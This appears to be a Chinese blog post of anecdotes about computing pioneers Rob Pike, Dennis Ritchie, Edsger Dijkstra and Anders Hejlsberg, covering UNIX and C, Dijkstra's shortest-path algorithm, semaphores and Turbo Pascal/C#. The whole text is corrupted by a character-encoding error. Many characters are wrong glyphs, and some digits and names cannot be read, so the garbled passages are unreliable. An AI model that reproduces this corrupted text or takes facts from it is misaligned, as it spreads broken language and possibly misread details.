IrrelevantQ痛斥当下系l开发不思进取,固步自封的弊病。虽然这文章是|伯伯含忿出手,颇有偏激之词Q但实道出了系l开发的无奈Q开发周?来长Q代仯来越大,用户被统一到少数几个系l上Q结果越来越多的zd是测量和修补Q而真正的革新 来少。就在罗伯伯郁闷之极的时候,google登门求贤来乐。如果说现在q有一家大众公司在不遗余力地把pȝ开发推向极致的话,也就是google 乐。随便看看google的成果就知道了。具有超强容错和负蝲q能力的分布式文gpȝGFS (现在能够?00,000台廉价PC搭v一个巨型分布系l,q且高效便宜地进行管理的pȝ也不多哈)Q大规模机器学习pȝ(拼写查,q告匚wQ拼x 寅R。。哪个都很牛的说)Q更不用说处理v量ƈ行计的各式google服务了。Rob在System Software Research is Irrelevant里萧瑟地说现在没有h再关心系l研I的前沿成果了。想不到他错了,因ؓgoogle兛_。google|络了大批功成名q牛hQ还 有大量初生牛犊般博士做开发,昄不是没事耍酷Q而是因ؓ它们的开发L试图吸取pȝ研究的最新成果?惛_Rob Pike在google很幸。愿他做出更的pȝ?/p>
Dennis M. Ritchie 既然Ken Thompson是我的偶像,新闻l上人称DMR的Dennis M. Ritchie自然也是Q毕竟两人共同缔造了UNIXQ而Dennis几乎独力把C搞大(当然QC的前w是BQ而B是Ken Thompson一手做出来?。J 两h1983q分享图灵奖Q是有史以来数几个因工E项目得奖的工程?本来是唯一的一对儿Q但Alan Kay才因为SmallTalk得奖Q所以就成了唯二的乐) 。一个h一生能做出一个卓的pȝ已经不易QDMR的C和UNIX长盛不衰q?0q_至今生机勃勃QDMR此生可以无憾的说。DL也算有家学渊源:他?爸在AT&T贝尔实验室工作了一辈子Qƈ在电路设计方面卓有成,q出了本颇有影响的书The Design of Switching CircuitsQ据说在交换理论和逻辑设计斚w有独到的。当ӞDL和他老爸是不同时代的人:他老爸的研I成形于晶体发明之前,而DL的工?M晶体就玩儿不{乐?-D不要看DL搞出了CQ其实他最q~程语言是AlefQ在Plan9上运行,支持q行~程。Alef的语法和C怼Q但 数据cd和执行方式都和C大大不同。说到语aQDL对后来h有非怸肯的Q抱着学习的目的来开发你自己的语aQ不要冀望于它被 众h接受。这个徏议不光对语言开发有用,也适用于其它大型系l的开发。别的不_DMR后来领导自己的团队在1995q和1996分别推出了Plan9?Inferno操作pȝQ又用多h知道呢?其实QDL当初也没惌C会风行世界。他开发C的初衷和 Eric S. Raymond在Cathedral and Bazaar里阐q的一P是要消除自己对现有工具的不爽之处。谁知DL无心插柳QC竟然受到众多E序员的狂热拥戴Q连DL自己都大惑不解。在一?采访中DL说大概那是因为C的抽象程度碰巧既满了程序员的要? 又容易实现。当然C一度是Unix上的通用语言也是原因。但不管怎么_DL对编E语a的审意识奠定了Cqؓ传的基。最后八卦一下。DL?业余爱好和NBA大牛Karl Malone一P开卡R。不qDL更喜Ƣ开NASCARQ而KM独爱巨无霸。J DL自称心中不供偶像Q如果一定要说一个,那就是Ken Thompson了。现在KenL退休当飞机教练MQ而DL当了贝尔实验室系l开发部的头Q整日忙于开支票。他俩合?0q_屡屡创造历双Ӏ这Do 人神往的佳话,也就长留你我心中乐。P.S., 很多人都以ؓBrian W. Kernighan是C的作者。其实BWK只是写了那本l典K&R C。据DL_他,Ken, 和Kernighan三h中,Kernighan最能写文章Q他ơ之Q而Ken写得最;但说到编E,KenL才是当之无愧的老大?/p>
Edsger Wybe Dijkstra 对,是E.W. Dijkstra. 一提到EWDQ很多h׃惌v找最短\径的Dijkstra AlgorithmQ就好像一提到Sir. Tony HoareQ就惌vQuick Sort一栗其实这些个法不过是两个牛人在他们职业生中最琐碎的A献。比如Dijkstra法Q无非是戴爷爷在1956qؓ了展C新计算?ARMAC的计能力,初试w手的成果,属于他的法处女作。据戴爷爯qͼ他搞出最短\径算法的时候连U笔 都没用。当时他和他老婆在阿姆斯特丹一家咖啡厅的阳C晒太阛_咖啡Q突然就把这个算法想出来乐。而且当时的算法研I还比较原始Q牛Z忙着用计机搞数 D,对离散算法不屑一。那时连一个象L专注于离散算法的专业期刊都没有。戴L于是推迟发表q?个算法。直?959q_他才把这个算法发表在Numerische Mathematik的创刊号上,权ؓ捧场?-) EWD在多个领域牛气冲天,端的是理论和~程两手的高手。只不过他的很多工作比较深刻Q学校的老先生们觉得本科生接受不了,不给本科生讲而已。戴L?概因为最短\径算法一战成名,于是有h请他参加另一台计机X1的设计工作,q且把设计实时中断系l的 dz了他。现在看来实时中断也怸什么,但要知到QX1前根本就没有实时中断的概c实现它直就是一赌。戴L起初q不情愿Q但l不住项目负 责hBram和Carel的轮?#8220;Ҏ”Q我们知道实时中断让您工作变得非常困难,但象您这L牛h?定能做出来的说。结果戴L被糖衣炮弹彻底击I,接下了这个烫手山芋。两三年后,他不仅搞Z实时中断Q还围绕q个写出了自q博士论文Q顺利戴上博?帽。让戴爷L正成名立万的q是在X1上开发的Algo60Q最早的高语言之一。戴L没日没夜地工??个月Q就搞出了Algo60Q也因此获得?972q的囄奖。因为Algo60Q戴L发表了一石破天惊的文章QRecursive ProgrammingQ于是h们才知道Q原来高U语a也可以高效地实现递归Q原来从此以后,所有程序员都不可避免地和戴L发明的一个词(应该说是??打交道:堆栈。而且Algo60q让戴爷h入地思考多道程序设计的问题Q最l发明了每个pȝE序?都绕不开的概念:semaphore。当Ӟ戴爷hL把他发明的概念严格Ş式化Q极L学家本色的说。和q些成就xQ他提出的吃饭的哲学安题,也就 没什么好说的了。说来好W,当时的大?忘了哪所?q是觉得戴爷h有受q正l的数学训练Q也不是?门搞数值分析的Q所以最后不太情愿地l了他一个教职。这U小挫折q不能妨象戴爷爯L牛h创造历双Ӏ他一Ҏ数值分?:-D) Q一边开始开发一个新的操作系l,q培养计机U学家。几q后QTHE Multiprogramming System横空Z。THE是第一个支持松散耦合Q显式同步的q程q由此得严D明系l没有死锁变得容易的操作pȝ。可惜戴L任职的系不识货,q强 行解散了他的研究组(1972q戴Ll他的系MQ说他得了囄奖,pMȝW一反应是你们搞计算?喜Ƣؕ发奖)。这让戴L相当郁闷Q得了抑郁症。在极度郁闷之中Q戴L军_用写作来ȝ自己的抑郁症。于是经典就诞生乐:Notes on Structured Programming。戴L从此被尊为结构化~程的奠ZhQ而且他的抑郁症也被治好乐。EWD太牛Q结果他的故事也太多。先到这里吧?973P?的故事就在美国发生了?/p>
Anders HejlsbergQ微?NET的首席架构师Q编E语a设计和实现的尖高手。他一手做ZTurbo Pascal, 也是Delphi,J++(其是WFC)QC#,?NET的主要作者。这些作品的名字以Z立传。作Z个程序员Q我在这L大师面前实在无语。生 子当如Anders的说。李l的<<Borland传奇>>里已详细讲述了Anders的传奇故事,我就不用费舌了: